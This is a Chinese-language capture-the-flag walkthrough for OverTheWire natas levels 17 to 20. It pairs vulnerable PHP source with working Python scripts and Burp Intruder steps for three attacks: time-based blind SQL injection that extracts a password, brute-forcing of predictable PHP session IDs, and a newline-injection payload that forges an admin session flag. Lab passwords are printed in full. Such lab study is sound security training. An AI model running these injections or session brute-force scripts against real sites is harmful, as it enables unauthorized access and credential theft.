natas Level 16 -> natas Level 17

链接: http://natas17.natas.labs.overthewire.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? }
?>

这道题和之前相比,差别就在查询的结果都被注释掉了。这道题无论输入什么,都不会有什么回显,前面一道题natas15 -> natas16我们用的是布尔盲注,是因为有两种会先状态,这一关没了回显,所以可以用时间延迟注入来完成。

先测试一下:

1
natas18" and sleep(5) #

注入后发现页面响应时间为5.55s:

1

对应的脚本是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from requests.auth import HTTPBasicAuth

username = 'natas17'
password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
url = 'http://natas17.natas.labs.overthewire.org'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
candidate_chars = ''
passwd = ''

print ("[*] Natas17 -> Natas18 Start!")
for ch in chars:
payload = 'natas18" AND password LIKE BINARY "%' + ch + '%" and sleep(5) #'
try:
r = requests.post(url = url, auth=HTTPBasicAuth(username, password), data={'username':payload}, timeout=5.0)
except:
candidate_chars += ch
print ("[-] Characters Used : ", candidate_chars)

for i in range(0, 32):
for ch in candidate_chars:
payload = 'natas18" AND password LIKE BINARY "' + passwd + ch + '%" and sleep(5) #'
try:
r = requests.post(url = url, auth=HTTPBasicAuth(username, password), data={'username':payload}, timeout=4.5)
except:
passwd += ch
print ("[-] Password : ", passwd, '*'*(32-i-1))
break

print ("[*] Completed!")

最后得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
[*] Natas17 -> Natas18 Start!
[-] Characters Used : 0
[-] Characters Used : 04
[-] Characters Used : 047
[-] Characters Used : 047d
[-] Characters Used : 047dg
[-] Characters Used : 047dgh
[-] Characters Used : 047dghj
[-] Characters Used : 047dghjl
[-] Characters Used : 047dghjlm
[-] Characters Used : 047dghjlmp
[-] Characters Used : 047dghjlmpq
[-] Characters Used : 047dghjlmpqs
[-] Characters Used : 047dghjlmpqsv
[-] Characters Used : 047dghjlmpqsvw
[-] Characters Used : 047dghjlmpqsvwx
[-] Characters Used : 047dghjlmpqsvwxy
[-] Characters Used : 047dghjlmpqsvwxyC
[-] Characters Used : 047dghjlmpqsvwxyCD
[-] Characters Used : 047dghjlmpqsvwxyCDF
[-] Characters Used : 047dghjlmpqsvwxyCDFI
[-] Characters Used : 047dghjlmpqsvwxyCDFIK
[-] Characters Used : 047dghjlmpqsvwxyCDFIKO
[-] Characters Used : 047dghjlmpqsvwxyCDFIKOP
[-] Characters Used : 047dghjlmpqsvwxyCDFIKOPR
[-] Password : x *******************************
[-] Password : xv ******************************
[-] Password : xvK *****************************
[-] Password : xvKI ****************************
[-] Password : xvKIq ***************************
[-] Password : xvKIqD **************************
[-] Password : xvKIqDj *************************
[-] Password : xvKIqDjy ************************
[-] Password : xvKIqDjy4 ***********************
[-] Password : xvKIqDjy4O **********************
[-] Password : xvKIqDjy4OP *********************
[-] Password : xvKIqDjy4OPv ********************
[-] Password : xvKIqDjy4OPv7 *******************
[-] Password : xvKIqDjy4OPv7w ******************
[-] Password : xvKIqDjy4OPv7wC *****************
[-] Password : xvKIqDjy4OPv7wCR ****************
[-] Password : xvKIqDjy4OPv7wCRg ***************
[-] Password : xvKIqDjy4OPv7wCRgD **************
[-] Password : xvKIqDjy4OPv7wCRgDl *************
[-] Password : xvKIqDjy4OPv7wCRgDlm ************
[-] Password : xvKIqDjy4OPv7wCRgDlmj ***********
[-] Password : xvKIqDjy4OPv7wCRgDlmj0 **********
[-] Password : xvKIqDjy4OPv7wCRgDlmj0p *********
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pF ********
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFs *******
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsC ******
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsCs *****
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsCsD ****
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsCsDj ***
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjh **
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd *
[-] Password : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
[*] Completed!

得到本关密码:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

natas Level 17 -> natas Level 18

链接: http://natas18.natas.labs.overthewire.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?
$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}

return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}

return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */

$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}

if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? }
?>

看这道题的源码,发现它是没有连接数据库读取用户数据的,登录仅仅是判断用户的session。

上面第58行的代码先调用my_session_start()函数,它会检查在CookiePHPSESSID是否存在,如果存在是否有效,如果结果为真,则session start,如果session_start()返回真,则my_session_start()函数也返回真,接着调用print_credentials()函数。如果my_session_start()返回false,就检查用户的请求参数usernamepassword,如果这两个参数存在,就常见一个session id,并调用session_start()启动一个会话,最后调用一个print_credentials()

这里我们不需要关注isValidAdminLogin函数,因为该函数永远将$_SESSION['admin']设置为0。print_credentials函数的作用就是打印用户的登录结果信息,所以我们也不需要关注,所以我们仅仅需要关注my_session_start函数,它从$_COOKIE获取PHPSESSID,验证它并启动一个session。这个$_COOKIE是我们可以控制的。

要得到下一层的密码,我们必须使用admin账号登录,admin账号是通过将$_SESSION['admin']==1来定义的,但是我们知道我们是无法设置这个变量的,因为isValidAdminLogin函数是无用的,它永远返回0。但是看第63行,可以看到程序是通过createID函数来设置会话ID的,所以这个网站上的session id必然是在1640之间的,所以我们可以通过暴力枚举的方式来找到真正生效的session id。

首选是用burp来进行爆破,发送请求,抓个包,Send to Intruder

2

Intruder模块,选择Positions选项卡,Attack TypeSniper,选择要fuzz的数据是用§包起来的,在这里就是§0§

3

然后选择Payloads选项卡,将Payload type设置为Numbers,然后设置Payload Options,数字范围是从1640,递增步长为1,并设置Minimal Integer Digits1Maximum Integer Digits3,因为640是3位长度:

4

然后到Options选项卡,找到Grep - Extract,点击Add按钮,添加一个grep属性,找到我们要匹配的字段:

5

然后点击start Attack就可以开始fuzz了。

等待一段时间,可以看到有第119次请求的response有我们希望看到的内容:You are an admin,右键发送到Repeater

6

发送请求,得到了下一关的密码:

7

密码:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

当然我们还可以写个Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
from requests.auth import HTTPBasicAuth

username = 'natas18'
password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'
url = 'http://natas18.natas.labs.overthewire.org'
data = {
'username' : 'admin',
'password' : '123'
}

print ('[*] natas Level 17 -> natas Level 18 Started.')

for i in range(1, 641):
cookie = {
'Cookie' : 'PHPSESSID={0}'.format(i)
}

r = requests.post(url=url, auth=HTTPBasicAuth(username,password), data=data, headers=cookie)
if 'You are logged in as a regular user' in r.text:
print ('[-] PHPSESSID = ', str(i), ', You are logged in as a regular user')
else:
print ('[-] PHPSESSID = ', str(i), ', You are an admin!!!')
print (r.text)
print ('[*] natas Level 17 -> natas Level 18 Completed.')
break

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[*] natas Level 17 -> natas Level 18 Started.
[-] PHPSESSID = 1 , You are logged in as a regular user
[-] PHPSESSID = 2 , You are logged in as a regular user
[-] PHPSESSID = 3 , You are logged in as a regular user
......
[-] PHPSESSID = 117 , You are logged in as a regular user
[-] PHPSESSID = 118 , You are logged in as a regular user
[-] PHPSESSID = 119 , You are an admin!!!
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

[*] natas Level 17 -> natas Level 18 Completed.

同样可以得到结果,而且速度更快。

natas Level 18 -> natas Level 19

链接: http://natas19.natas.labs.overthewire.org/

打开题目发现没有源码:

8

本题和上一题的源码差不多是一样的,只不过是session id不再是连续的,还是先抓个包看看

9

PHPSESSID是一个hex值,发送到Decoder模块转ascii发现是590-admin

10

所以我们知道,这个后面的-admin是固定的,我们要猜的就是前面的数字,因为源码和之前的是差不多的,所以最大的session值应该也是640

写个Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from requests.auth import HTTPBasicAuth
import binascii

username = 'natas19'
password = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'
url = 'http://natas19.natas.labs.overthewire.org'
data = {
'username' : 'admin',
'password' : '123'
}

print ('[*] natas Level 18 -> natas Level 19 Started.')

for i in range(1, 641):
phpsessid_raw = str(i) + '-admin'
phpsessid_hex = binascii.hexlify(phpsessid_raw.encode())
cookie = {
'Cookie' : 'PHPSESSID={0}'.format(phpsessid_hex.decode())
}

r = requests.post(url=url, auth=HTTPBasicAuth(username,password), data=data, headers=cookie)
if 'You are logged in as a regular user' in r.text:
print ('[-] PHPSESSID = ', str(phpsessid_raw), '(' , phpsessid_hex.decode() ,'), You are logged in as a regular user')
else:
print ('[-] PHPSESSID = ', str(phpsessid_raw), '(' , phpsessid_hex.decode() ,'), You are an admin!!!')
print (r.text)
print ('[*] natas Level 18 -> natas Level 19 Completed.')
break
break

最后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[*] natas Level 18 -> natas Level 19 Started.
[-] PHPSESSID = 1-admin ( 312d61646d696e ), You are logged in as a regular user
[-] PHPSESSID = 2-admin ( 322d61646d696e ), You are logged in as a regular user
......
[-] PHPSESSID = 280-admin ( 3238302d61646d696e ), You are logged in as a regular user
[-] PHPSESSID = 281-admin ( 3238312d61646d696e ), You are an admin!!!
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>

[*] natas Level 18 -> natas Level 19 Completed.

得到下一关密码:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

当然还可以用burp,抓包发送到Intruder模块,我们知道2d代表字符-,所以2d前面的hex值就是我们fuzz的对象:

11

和上一关一样,Payload Sets中的Payload type设置为Number,因为要将字符转成hex,所以需要再设置一下Payload Processing

12

选择Add -> Select rule type,选择Encode

13

选择Encode as ASCII hex

14

跑了大概半个小时,终于出了结果,发送到Repeater

15

成功得到下一关的密码:

16

Natas Level 19 -> Natas Level 20

链接:http://natas20.natas.labs.overthewire.org

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */

/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}

/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}

function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}

function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}

session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}

?>

首先我们先看到了两个和前面的两关相同的函数print_credentialsdebug,先不用关注。

代码从第85行到第91行的session_set_save_handler开始,该函数能设置用户自定义会话存储函数。这里涉及到了六个my开头的自定义session存储函数:

1
2
3
4
5
6
myopen 
myclose
myread
mywrite
mydestroy
mygarbage

这里有两个函数比较有意思,myreadmywrite函数。在myreadmywrite函数中:

1
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid))

先检查$sid中没有除了数字字母-之外的非法字符。如果合法就将该参数拼接入session file的存储路径中:

1
$filename = session_save_path() . "/" . "mysess_" . $sid;

session的键值是通过$key $value\n写入session文件的。在myread函数中读取的时候,也是通过\n来分隔session信息的:

1
2
3
4
5
6
7
8
9
$filename = session_save_path() . "/" . "mysess_" . $sid;
......
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}

而session的键值是通过空格来区分的,比如admin%201能够得到$_SESSION['admin']=1

print_credentials函数中对admin的判断条件是$_SESSION['admin']存在,并且$_SESSION["admin"] == 1

所以我们可以构造这样的payload:

1
http://natas21.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201&debug

17

得到下一关密码:IFekPyrQXftziDEsUr3x21sYuahypdgJ